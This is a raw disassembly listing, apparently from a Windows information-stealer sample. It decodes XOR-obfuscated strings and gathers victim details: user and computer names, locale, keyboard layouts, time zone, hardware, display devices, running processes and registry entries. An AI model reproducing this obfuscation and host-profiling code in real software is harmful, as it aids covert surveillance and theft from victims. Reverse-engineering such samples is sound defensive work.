movups xmmword [ebp - 0x95], xmm0
mov dword [ebp - 0xc0], edi
xorps xmm0, xmm0
mov dword [ebp - 0x40], edi
mov word [ebp - 0x85], 0xcab2
movups xmmword [ebp - 0x83], xmm0
mov dword [ebp - 0x73], 0
mov word [ebp - 0x6f], 0
mov byte [ebp - 0x6d], 0
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x95], al
inc ecx
cmp ecx, 0x12
jb 0x411440
lea eax, [ebp - 0x95]
mov dword [0x5655dc], ecx
push eax
lea ecx, [ebp - 0x100]
mov byte [ebp - 0x83], 0
call fcn.00402b70
cmp dword [ebp - 0xec], 0x10
lea ecx, [ebp - 0xb58]
mov edi, dword [ebp - 0x54]
lea eax, [ebp - 0x100]
cmovae eax, dword [ebp - 0x100]
push esi
push ecx
push eax
push edi
call fcn.00403030
add esp, 0x10
lea ecx, [ebp - 0x100]
call fcn.00402ad0
mov eax, dword [ebp - 0x40]
test al, 2
je 0x4114bf
and eax, 0xfffffffd
lea ecx, [ebp - 0x30c]
mov dword [ebp - 0x40], eax
call fcn.00402ad0
mov eax, dword [ebp - 0x40]
mov dword [ebp - 4], 0x27
test al, 1
je 0x4114d8
and eax, 0xfffffffe
lea ecx, [ebp - 0x6c]
mov dword [ebp - 0x40], eax
call fcn.00402ad0
mov edi, dword [ebp - 0x40]
push dword [ebp - 0x120]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
lea eax, [ebp - 0xd68]
push 0
push eax
call fcn.00506f10
add esp, 0xc
mov dword [ebp - 0x1b4], 0x104
lea eax, [ebp - 0x1b4]
push eax
lea eax, [ebp - 0xd68]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
movaps xmm0, xmmword [0x550f60]
xor ecx, ecx
movups xmmword [ebp - 0x96], xmm0
mov word [ebp - 0x86], 0xcdcc
xorps xmm0, xmm0
mov byte [ebp - 0x84], 0xcb
movups xmmword [ebp - 0x83], xmm0
mov dword [ebp - 0x73], 0
mov word [ebp - 0x6f], 0
mov byte [ebp - 0x6d], 0
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x96], al
inc ecx
cmp ecx, 0x13
jb 0x411560
lea eax, [ebp - 0x96]
mov dword [0x5655a8], ecx
push eax
lea ecx, [ebp - 0x6c]
mov byte [ebp - 0x83], 0
call fcn.00402b70
or edi, 0x40000000
lea ecx, [ebp - 0x6c]
mov dword [ebp - 0x40], edi
call fcn.00402c10
mov esi, dword [ebp - 0x54]
lea ecx, [ebp - 0xd68]
push ecx
push eax
push esi
call fcn.00403030
add esp, 0xc
lea ecx, [ebp - 0x6c]
call fcn.00402ad0
push 0x104
lea eax, [ebp - 0xe70]
push 0
push eax
call fcn.00506f10
add esp, 0xc
mov dword [ebp - 0x1b8], 0x104
lea eax, [ebp - 0x1b8]
push eax
lea eax, [ebp - 0xe70]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
xorps xmm0, xmm0
mov dword [ebp - 0x36], 0xc0d4c3fa
mov dword [ebp - 0x32], 0xdbd4fa93
xor ecx, ecx
mov dword [ebp - 0x2e], 0x9f9982d2
mov word [ebp - 0x2a], 0xb1c8
mov byte [ebp - 0x28], 0xb7
movups xmmword [ebp - 0x27], xmm0
mov dword [ebp - 0x17], 0
mov word [ebp - 0x13], 0
mov byte [ebp - 0x11], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x36], al
inc ecx
cmp ecx, 0xf
jb 0x411627
lea eax, [ebp - 0x36]
mov dword [0x565558], ecx
push eax
lea ecx, [ebp - 0x6c]
mov byte [ebp - 0x27], 0
call fcn.00402b70
cmp dword [ebp - 0x58], 0x10
lea ecx, [ebp - 0xe70]
lea eax, [ebp - 0x6c]
cmovae eax, dword [ebp - 0x6c]
push ecx
push eax
push esi
call fcn.00403030
add esp, 0xc
lea ecx, [ebp - 0x6c]
call fcn.00402ad0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
lea ecx, [ebp - 0x31c]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
movaps xmm0, xmmword [0x551f30]
xor ecx, ecx
movups xmmword [ebp - 0x9e], xmm0
mov dword [ebp - 0x8e], 0xe2fbaed0
xorps xmm0, xmm0
mov dword [ebp - 0x8a], 0xe3bda0e6
mov word [ebp - 0x86], 0xc5a3
mov byte [ebp - 0x84], 0xc3
movups xmmword [ebp - 0x83], xmm0
mov dword [ebp - 0x73], 0
mov word [ebp - 0x6f], 0
mov byte [ebp - 0x6d], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x9e], al
inc ecx
cmp ecx, 0x1b
jb 0x4116d2
lea eax, [ebp - 0x9e]
mov dword [0x565618], ecx
push eax
lea ecx, [ebp - 0x6c]
mov byte [ebp - 0x83], 0
call fcn.00402b70
push dword [ebp - 0x310]
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
push dword [ebp - 0x314]
cmovae eax, dword [ebp - 0x6c]
push eax
push esi
call fcn.00403030
add esp, 0x10
lea ecx, [ebp - 0x6c]
call fcn.00402ad0
push 0x400
lea eax, [ebp - 0x1470]
push 0
push eax
call fcn.00506f10
add esp, 0xc
lea eax, [ebp - 0x1470]
push 0x200
push eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLocaleName]
movaps xmm0, xmmword [0x552290]
xor ecx, ecx
mov dword [ebp - 0x73], 0
mov word [ebp - 0x6f], 0
mov byte [ebp - 0x6d], 0
test eax, eax
je 0x4117eb
movups xmmword [ebp - 0x9a], xmm0
mov dword [ebp - 0x8a], 0xb5e4e085
xorps xmm0, xmm0
mov word [ebp - 0x86], 0xc9b0
mov byte [ebp - 0x84], 0xcf
movups xmmword [ebp - 0x83], xmm0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x9a], al
inc ecx
cmp ecx, 0x17
jb 0x4117a0
lea eax, [ebp - 0x9a]
mov dword [0x5655bc], ecx
push eax
lea ecx, [ebp - 0x6c]
mov byte [ebp - 0x83], 0
call fcn.00402b70
cmp dword [ebp - 0x58], 0x10
lea ecx, [ebp - 0x1470]
lea eax, [ebp - 0x6c]
cmovae eax, dword [ebp - 0x6c]
push ecx
push eax
push esi
call fcn.00403030
add esp, 0xc
jmp 0x411862
movups xmmword [ebp - 0x9e], xmm0
mov dword [ebp - 0x8e], 0xac94e085
xorps xmm0, xmm0
mov dword [ebp - 0x8a], 0xb1aaaaa8
mov word [ebp - 0x86], 0xc5a9
mov byte [ebp - 0x84], 0xc3
movups xmmword [ebp - 0x83], xmm0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x9e], al
inc ecx
cmp ecx, 0x1b
jb 0x411820
lea eax, [ebp - 0x9e]
mov dword [0x565618], ecx
push eax
lea ecx, [ebp - 0x6c]
mov byte [ebp - 0x83], 0
call fcn.00402b70
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
cmovae eax, dword [ebp - 0x6c]
push eax
push esi
call fcn.00403030
add esp, 8
lea ecx, [ebp - 0x6c]
call fcn.00402ad0
movaps xmm0, xmmword [0x552050]
xor ecx, ecx
movups xmmword [ebp - 0x97], xmm0
mov dword [ebp - 0x87], 0xe2fbb3da
xorps xmm0, xmm0
mov dword [ebp - 0x73], 0
movups xmmword [ebp - 0x83], xmm0
mov word [ebp - 0x6f], 0
mov byte [ebp - 0x6d], 0
nop
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x97], al
inc ecx
cmp ecx, 0x14
jb 0x4118a0
lea eax, [ebp - 0x97]
mov dword [0x565540], ecx
push eax
lea ecx, [ebp - 0x6c]
mov byte [ebp - 0x83], 0
call fcn.00402b70
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
cmovae eax, dword [ebp - 0x6c]
push eax
push esi
call fcn.00403030
add esp, 8
lea ecx, [ebp - 0x6c]
call fcn.00402ad0
push 0x200
lea eax, [ebp - 0x1070]
push 0
push eax
call fcn.00506f10
add esp, 0xc
push 0
push 0
call dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
mov dword [ebp - 0x50], eax
lea ecx, [eax*4]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x48], eax
test eax, eax
je 0x411a1b
push eax
push dword [ebp - 0x50]
call dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
xor esi, esi
mov dword [ebp - 0x50], eax
test eax, eax
je 0x411a0f
mov edi, dword [ebp - 0x54]
push 0x200
lea eax, [ebp - 0x1070]
push eax
mov eax, dword [ebp - 0x48]
push 2
movzx eax, word [eax + esi*4]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test esi, esi
jne 0x411974
lea eax, [ebp - 0x1070]
push eax
push edi
call fcn.00403030
add esp, 8
jmp 0x4119ec
xorps xmm0, xmm0
mov dword [ebp - 0x2c], 0x97919f8f
mov byte [ebp - 0x28], 0xc0
xor ecx, ecx
movups xmmword [ebp - 0x27], xmm0
mov dword [ebp - 0x17], 0
mov word [ebp - 0x13], 0
mov byte [ebp - 0x11], 0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x2c], al
inc ecx
cmp ecx, 5
jb 0x4119a0
lea eax, [ebp - 0x2c]
mov dword [0x565544], ecx
push eax
lea ecx, [ebp - 0x6c]
mov byte [ebp - 0x27], 0
call fcn.00402b70
or dword [ebp - 0x40], 0x8000000
lea ecx, [ebp - 0x6c]
call fcn.00402c10
lea ecx, [ebp - 0x1070]
push ecx
push eax
push edi
call fcn.00403030
add esp, 0xc
lea ecx, [ebp - 0x6c]
call fcn.00402ad0
push 0x200
lea eax, [ebp - 0x1070]
push 0
push eax
call fcn.00506f10
inc esi
add esp, 0xc
cmp esi, dword [ebp - 0x50]
jb 0x411942
mov edi, dword [ebp - 0x40]
push dword [ebp - 0x48]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esi, dword [ebp - 0x54]
lea eax, [ebp - 0x1c8]
xorps xmm0, xmm0
push eax
movups xmmword [ebp - 0x1c8], xmm0
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movaps xmm0, xmmword [0x552070]
xor ecx, ecx
movups xmmword [ebp - 0xa4], xmm0
mov byte [ebp - 0x84], 0xc5
movaps xmm0, xmmword [0x5517a0]
movups xmmword [ebp - 0x94], xmm0
mov dword [ebp - 0x73], 0
xorps xmm0, xmm0
mov word [ebp - 0x6f], 0
movups xmmword [ebp - 0x83], xmm0
mov byte [ebp - 0x6d], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0xa4], al
inc ecx
cmp ecx, 0x21
jb 0x411a72
lea eax, [ebp - 0xa4]
mov dword [0x565578], ecx
push eax
lea ecx, [ebp - 0x6c]
mov byte [ebp - 0x83], 0
call fcn.00402b70
lea ecx, [ebp - 0x6c]
or edi, 0x40000
call fcn.00402c10
movzx ecx, word [ebp - 0x1bc]
mov edx, eax
movzx eax, word [ebp - 0x1c2]
push ecx
movzx ecx, word [ebp - 0x1be]
push ecx
movzx ecx, word [ebp - 0x1c0]
push ecx
movzx ecx, word [ebp - 0x1c8]
push ecx
movzx ecx, word [ebp - 0x1c6]
push ecx
push eax
push edx
push esi
call fcn.00403030
add esp, 0x20
lea ecx, [ebp - 0x6c]
call fcn.00402ad0
lea eax, [ebp - 0x32c]
xorps xmm0, xmm0
push eax
movups xmmword [ebp - 0x32c], xmm0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0xac
lea eax, [ebp - 0x630]
push 0
push eax
call fcn.00506f10
add esp, 0xc
lea eax, [ebp - 0x630]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
lea eax, [ebp - 0x3a8]
xorps xmm0, xmm0
push eax
lea eax, [ebp - 0x32c]
push eax
lea eax, [ebp - 0x630]
push eax
movups xmmword [ebp - 0x3a8], xmm0
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
movd xmm0, dword [ebp - 0x630]
xor ecx, ecx
cvtdq2ps xmm0, xmm0
mov byte [ebp - 0x28], 0xb5
mov dword [ebp - 0x17], 0
mov word [ebp - 0x13], 0
mov byte [ebp - 0x11], 0
divss xmm0, dword [0x550b30]
xorps xmm0, xmmword [0x550d00]
movss dword [ebp - 0x50], xmm0
movaps xmm0, xmmword [0x5515d0]
movups xmmword [ebp - 0x38], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x27], xmm0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 0x11
jb 0x411b98
lea eax, [ebp - 0x38]
mov dword [0x565634], ecx
push eax
lea ecx, [ebp - 0x6c]
mov byte [ebp - 0x27], 0
call fcn.00402b70
lea ecx, [ebp - 0x6c]
or edi, 0x100000
call fcn.00402c10
cvttss2si ecx, dword [ebp - 0x50]
push ecx
push eax
push esi
call fcn.00403030
add esp, 0xc
lea ecx, [ebp - 0x6c]
call fcn.00402ad0
xorps xmm0, xmm0
mov dword [ebp - 0x35], 0xfaeabaa2
mov dword [ebp - 0x31], 0xc1d1c6d2
xor ecx, ecx
mov dword [ebp - 0x2d], 0xe7dccad6
mov word [ebp - 0x29], 0xb6b6
movups xmmword [ebp - 0x27], xmm0
mov dword [ebp - 0x17], 0
mov word [ebp - 0x13], 0
mov byte [ebp - 0x11], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x35], al
inc ecx
cmp ecx, 0xe
jb 0x411c17
lea eax, [ebp - 0x35]
mov dword [0x565524], ecx
push eax
lea ecx, [ebp - 0x6c]
mov byte [ebp - 0x27], 0
call fcn.00402b70
lea ecx, [ebp - 0x6c]
or edi, 0x20000
call fcn.00402c10
push eax
push esi
call fcn.00403030
add esp, 8
lea ecx, [ebp - 0x6c]
call fcn.00402ad0
movaps xmm0, xmmword [0x552620]
xor ecx, ecx
movups xmmword [ebp - 0xb1], xmm0
mov dword [ebp - 0x124], 0
movaps xmm0, xmmword [0x551640]
movups xmmword [ebp - 0xa1], xmm0
mov dword [ebp - 0x91], 0x82bdb1bd
xorps xmm0, xmm0
mov dword [ebp - 0x8d], 0xb3b6bba1
mov dword [ebp - 0x89], 0xa8b6aba4
mov word [ebp - 0x85], 0xec87
movups xmmword [ebp - 0x83], xmm0
mov dword [ebp - 0x73], 0
mov word [ebp - 0x6f], 0
mov byte [ebp - 0x6d], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0xb1], al
inc ecx
cmp ecx, 0x2e
jb 0x411cc5
lea eax, [ebp - 0xb1]
mov dword [0x5655c8], ecx
push eax
lea ecx, [ebp - 0x6c]
mov byte [ebp - 0x83], 0
call fcn.00402b70
lea ecx, [ebp - 0x6c]
or edi, 0x200000
call fcn.00402c10
lea ecx, [ebp - 0x124]
push ecx
push 0x20019
push 0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [ebp - 0x6c]
mov esi, eax
call fcn.00402ad0
test esi, esi
jne 0x411e66
movaps xmm0, xmmword [0x551980]
xor ecx, ecx
movups xmmword [ebp - 0x96], xmm0
mov dword [ebp - 0xbc], 0x20019
xorps xmm0, xmm0
mov dword [ebp - 0x50], 0x400
mov word [ebp - 0x86], 0xaed6
mov byte [ebp - 0x84], 0xa6
movups xmmword [ebp - 0x83], xmm0
mov dword [ebp - 0x73], esi
mov word [ebp - 0x6f], si
mov byte [ebp - 0x6d], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x96], al
inc ecx
cmp ecx, 0x13
jb 0x411d72
lea eax, [ebp - 0x96]
mov dword [0x5655a8], ecx
push eax
lea ecx, [ebp - 0x6c]
mov byte [ebp - 0x83], 0
call fcn.00402b70
lea ecx, [ebp - 0x6c]
or edi, 0x2000000
call fcn.00402c10
lea ecx, [ebp - 0x50]
push ecx
lea ecx, [ebp - 0xb58]
push ecx
lea ecx, [ebp - 0xbc]
push ecx
push 0
push eax
push dword [ebp - 0x124]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [ebp - 0x6c]
mov esi, eax
call fcn.00402ad0
test esi, esi
jne 0x411e5a
xorps xmm0, xmm0
mov dword [ebp - 0x36], 0xd1dec2ff
mov dword [ebp - 0x32], 0xd9c6c7d6
xor ecx, ecx
mov dword [ebp - 0x2e], 0x9f9982c5
mov word [ebp - 0x2a], 0xb1c8
mov byte [ebp - 0x28], 0xb7
movups xmmword [ebp - 0x27], xmm0
mov dword [ebp - 0x17], esi
mov word [ebp - 0x13], si
mov byte [ebp - 0x11], 0
nop
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x36], al
inc ecx
cmp ecx, 0xf
jb 0x411e10
lea eax, [ebp - 0x36]
mov dword [0x565558], ecx
push eax
lea ecx, [ebp - 0x6c]
mov byte [ebp - 0x27], 0
call fcn.00402b70
cmp dword [ebp - 0x58], 0x10
lea ecx, [ebp - 0xb58]
lea eax, [ebp - 0x6c]
cmovae eax, dword [ebp - 0x6c]
push ecx
push eax
push dword [ebp - 0x54]
call fcn.00403030
add esp, 0xc
lea ecx, [ebp - 0x6c]
call fcn.00402ad0
push dword [ebp - 0x124]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
mov dword [ebp - 0x348], 0
lea eax, [ebp - 0x368]
push eax
movups xmmword [ebp - 0x368], xmm0
movups xmmword [ebp - 0x358], xmm0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
xorps xmm0, xmm0
mov dword [ebp - 0x36], 0x92e4e0ec
mov dword [ebp - 0x32], 0xd8c0dbf0
xor ecx, ecx
mov dword [ebp - 0x2e], 0x9f9982c3
mov word [ebp - 0x2a], 0xb1df
mov byte [ebp - 0x28], 0xb7
movups xmmword [ebp - 0x27], xmm0
mov dword [ebp - 0x17], 0
mov word [ebp - 0x13], 0
mov byte [ebp - 0x11], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x36], al
inc ecx
cmp ecx, 0xf
jb 0x411ec7
lea eax, [ebp - 0x36]
mov dword [0x565558], ecx
push eax
lea ecx, [ebp - 0x6c]
mov byte [ebp - 0x27], 0
call fcn.00402b70
or edi, 0x80000
lea ecx, [ebp - 0x6c]
mov dword [ebp - 0x40], edi
call fcn.00402c10
push dword [ebp - 0x354]
mov esi, dword [ebp - 0x54]
push eax
push esi
call fcn.00403030
add esp, 0xc
lea ecx, [ebp - 0x6c]
call fcn.00402ad0
lea eax, [ebp - 0x430]
mov dword [ebp - 0x430], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x411fc1
xorps xmm0, xmm0
mov dword [ebp - 0x33], 0x88fcf1fd
mov dword [ebp - 0x2f], 0x96c09193
xor ecx, ecx
mov dword [ebp - 0x2b], 0xb0b4fafa
movups xmmword [ebp - 0x27], xmm0
mov dword [ebp - 0x17], 0
mov word [ebp - 0x13], 0
mov byte [ebp - 0x11], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0xc
jb 0x411f65
lea eax, [ebp - 0x33]
mov dword [0x565528], ecx
push eax
lea ecx, [ebp - 0x6c]
mov byte [ebp - 0x27], 0
call fcn.00402b70
or edi, 0x4000000
lea ecx, [ebp - 0x6c]
mov dword [ebp - 0x40], edi
call fcn.00402c10
mov edx, dword [ebp - 0x428]
mov ecx, dword [ebp - 0x424]
shrd edx, ecx, 0x14
shr ecx, 0x14
push ecx
push edx
push eax
push esi
call fcn.00403030
add esp, 0x10
lea ecx, [ebp - 0x6c]
call fcn.00402ad0
lea ecx, [ebp - 0x164]
call fcn.0048bb30
lea ecx, [ebp - 0x164]
mov byte [ebp - 4], 0x2e
call fcn.0048b990
push 0x1a4
lea eax, [ebp - 0x8fc]
mov dword [ebp - 0xc0], 0
push 0
push eax
mov dword [ebp - 0x900], 0x1a8
call fcn.00506f10
add esp, 0xc
lea eax, [ebp - 0x900]
push 1
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
test eax, eax
je 0x4121e6
mov edi, dword [ebp - 0x160]
xor ecx, ecx
mov dword [ebp - 0x48], ecx
mov eax, 0x2aaaaaab
mov ecx, edi
sub ecx, dword [ebp - 0x164]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4120b2
xor esi, esi
nop dword [eax + eax]
lea eax, [ebp - 0x8dc]
push eax
lea ecx, [ebp - 0x344]
call fcn.00402b70
mov ecx, dword [ebp - 0x164]
add ecx, esi
push eax
call fcn.004944b0
lea ecx, [ebp - 0x344]
mov byte [ebp - 0x41], al
call fcn.00402ad0
cmp byte [ebp - 0x41], 0
jne 0x412199
mov edi, dword [ebp - 0x160]
mov eax, 0x2aaaaaab
inc dword [ebp - 0x48]
mov ecx, edi
sub ecx, dword [ebp - 0x164]
add esi, 0x18
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x48], eax
jb 0x412050
sub edi, dword [ebp - 0x164]
mov eax, 0x2aaaaaab
movaps xmm0, xmmword [0x550f70]
imul edi
movups xmmword [ebp - 0x96], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x83], xmm0
mov word [ebp - 0x86], 0xcdcc
sar edx, 2
mov esi, edx
mov byte [ebp - 0x84], 0xcb
shr esi, 0x1f
add esi, edx
mov dword [ebp - 0x73], 0
mov word [ebp - 0x6f], 0
xor ecx, ecx
mov byte [ebp - 0x6d], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x96], al
inc ecx
cmp ecx, 0x13
jb 0x412104
lea eax, [ebp - 0x96]
mov dword [0x5655a8], ecx
push eax
lea ecx, [ebp - 0x158]
mov byte [ebp - 0x83], 0
call fcn.00402b70
or dword [ebp - 0x40], 0x10
lea ecx, [ebp - 0x158]
call fcn.00402c10
lea ecx, [ebp - 0x8dc]
push ecx
push esi
push eax
push dword [ebp - 0x54]
call fcn.00403030
add esp, 0x10
lea ecx, [ebp - 0x158]
call fcn.00402ad0
lea eax, [ebp - 0x8dc]
push eax
lea ecx, [ebp - 0x1b0]
call fcn.00402b70
lea eax, [ebp - 0x1b0]
mov byte [ebp - 4], 0x2f
push eax
lea ecx, [ebp - 0x164]
call fcn.00492090
lea ecx, [ebp - 0x1b0]
mov byte [ebp - 4], 0x2e
call fcn.00402ad0
mov esi, dword [ebp - 0xc0]
lea eax, [ebp - 0x8fc]
push 0x1a4
push 0
inc esi
mov dword [ebp - 0x900], 0x1a8
push eax
mov dword [ebp - 0xc0], esi
call fcn.00506f10
add esp, 0xc
lea eax, [ebp - 0x900]
push 1
push eax
push esi
push 0
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
test eax, eax
jne 0x412020
mov edi, dword [ebp - 0x40]
mov esi, dword [ebp - 0x54]
xorps xmm0, xmm0
mov dword [ebp - 0x36], 0xe2eabaa2
mov dword [ebp - 0x32], 0xd3d6dbc1
xor ecx, ecx
mov dword [ebp - 0x2e], 0xc9dccbc4
mov word [ebp - 0x2a], 0xb1e6
mov byte [ebp - 0x28], 0xb7
movups xmmword [ebp - 0x27], xmm0
mov dword [ebp - 0x17], 0
mov word [ebp - 0x13], 0
mov byte [ebp - 0x11], 0
nop
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x36], al
inc ecx
cmp ecx, 0xf
jb 0x412220
lea eax, [ebp - 0x36]
mov dword [0x565558], ecx
push eax
lea ecx, [ebp - 0x158]
mov byte [ebp - 0x27], 0
call fcn.00402b70
or edi, 0x1000
lea ecx, [ebp - 0x158]
mov dword [ebp - 0x40], edi
call fcn.00402c10
push eax
push esi
call fcn.00403030
add esp, 8
lea ecx, [ebp - 0x158]
call fcn.00402ad0
push 0
push 2
mov dword [ebp - 0x758], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x412369
lea eax, [ebp - 0x758]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x412362
lea eax, [ebp - 0x758]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x412362
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
xorps xmm0, xmm0
mov dword [ebp - 0x30], 0xe991c38a
mov dword [ebp - 0x2c], 0xbbe8d096
xor ecx, ecx
mov byte [ebp - 0x28], 0xbd
movups xmmword [ebp - 0x27], xmm0
mov dword [ebp - 0x17], 0
mov word [ebp - 0x13], 0
mov byte [ebp - 0x11], 0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 9
jb 0x4122f0
lea eax, [ebp - 0x30]
mov dword [0x565630], ecx
push eax
lea ecx, [ebp - 0x158]
mov byte [ebp - 0x27], 0
call fcn.00402b70
or dword [ebp - 0x40], 0x200
lea ecx, [ebp - 0x158]
call fcn.00402c10
push dword [ebp - 0x750]
lea ecx, [ebp - 0x734]
push ecx
push eax
push dword [ebp - 0x54]
call fcn.00403030
add esp, 0x10
lea ecx, [ebp - 0x158]
call fcn.00402ad0
lea eax, [ebp - 0x758]
push eax
push esi
call edi
test eax, eax
jne 0x4122c0
mov edi, dword [ebp - 0x40]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
mov dword [ebp - 0x35], 0xe1eabaa2
mov dword [ebp - 0x31], 0xc1c1d2dc
xor ecx, ecx
mov dword [ebp - 0x2d], 0xe7dccad6
mov word [ebp - 0x29], 0xb6b6
movups xmmword [ebp - 0x27], xmm0
mov dword [ebp - 0x17], 0
mov word [ebp - 0x13], 0
mov byte [ebp - 0x11], 0
nop
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x35], al
inc ecx
cmp ecx, 0xe
jb 0x4123a0
lea eax, [ebp - 0x35]
mov dword [0x565524], ecx
push eax
lea ecx, [ebp - 0x158]
mov byte [ebp - 0x27], 0
call fcn.00402b70
lea ecx, [ebp - 0x158]
or edi, 0x2000
call fcn.00402c10
mov esi, dword [ebp - 0x54]
push eax
push esi
call fcn.00403030
add esp, 8
lea ecx, [ebp - 0x158]
call fcn.00402ad0
movaps xmm0, xmmword [0x551c50]
xor ecx, ecx
movups xmmword [ebp - 0xb6], xmm0
mov word [ebp - 0x86], 0x8cbe
movaps xmm0, xmmword [0x5513f0]
movups xmmword [ebp - 0xa6], xmm0
mov byte [ebp - 0x84], 0x8d
movaps xmm0, xmmword [0x551370]
movups xmmword [ebp - 0x96], xmm0
mov dword [ebp - 0x73], 0
xorps xmm0, xmm0
mov word [ebp - 0x6f], 0
movups xmmword [ebp - 0x83], xmm0
mov byte [ebp - 0x6d], 0
nop word [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0xb6], al
inc ecx
cmp ecx, 0x33
jb 0x412450
lea eax, [ebp - 0xb6]
mov dword [0x5655f0], ecx
push eax
lea ecx, [ebp - 0x158]
mov byte [ebp - 0x83], 0
call fcn.00402b70
or edi, 0x800
lea ecx, [ebp - 0x158]
mov dword [ebp - 0x40], edi
call fcn.00402c10
mov edi, eax
lea ecx, [ebp - 0x158]
mov dword [ebp - 0x4c], edi
call fcn.00402ad0
lea eax, [ebp - 0x128]
mov dword [ebp - 0x128], 0
push eax
push 0x20019
push 0
push edi
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4127fd
xor edi, edi
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x54], 0x400
push eax
lea eax, [ebp - 0xb58]
push eax
push edi
push dword [ebp - 0x128]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov dword [ebp - 0x50], eax
test eax, eax
jne 0x4127e8
xorps xmm0, xmm0
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x2c], 0x97edc38a
xor ecx, ecx
mov byte [ebp - 0x28], 0xc0
movups xmmword [ebp - 0x27], xmm0
mov dword [ebp - 0x17], eax
mov word [ebp - 0x13], ax
mov byte [ebp - 0x11], al
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x2c], al
inc ecx
cmp ecx, 5
jb 0x412525
lea eax, [ebp - 0x2c]
mov dword [0x565544], ecx
push eax
lea ecx, [ebp - 0x1b0]
mov byte [ebp - 0x27], 0
call fcn.00402b70
or dword [ebp - 0x40], 0x400
lea ecx, [ebp - 0x1b0]
call fcn.00402c10
lea ecx, [ebp - 0xb58]
push ecx
push dword [ebp - 0x4c]
push eax
lea eax, [ebp - 0x1870]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x1b0]
call fcn.00402ad0
lea eax, [ebp - 0x48]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x1870]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4127e5
xorps xmm0, xmm0
mov dword [ebp - 0xbc], 0xf003f
mov dword [ebp - 0x54], 0x400
xor ecx, ecx
mov dword [ebp - 0x32], 0xc2c2d9eb
mov dword [ebp - 0x2e], 0xf8ccd5df
mov word [ebp - 0x2a], 0xd5d6
mov byte [ebp - 0x28], 0xdc
movups xmmword [ebp - 0x27], xmm0
mov dword [ebp - 0x17], eax
mov word [ebp - 0x13], ax
mov byte [ebp - 0x11], al
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x32], al
inc ecx
cmp ecx, 0xb
jb 0x4125e5
lea eax, [ebp - 0x32]
mov dword [0x565530], ecx
push eax
lea ecx, [ebp - 0x248]
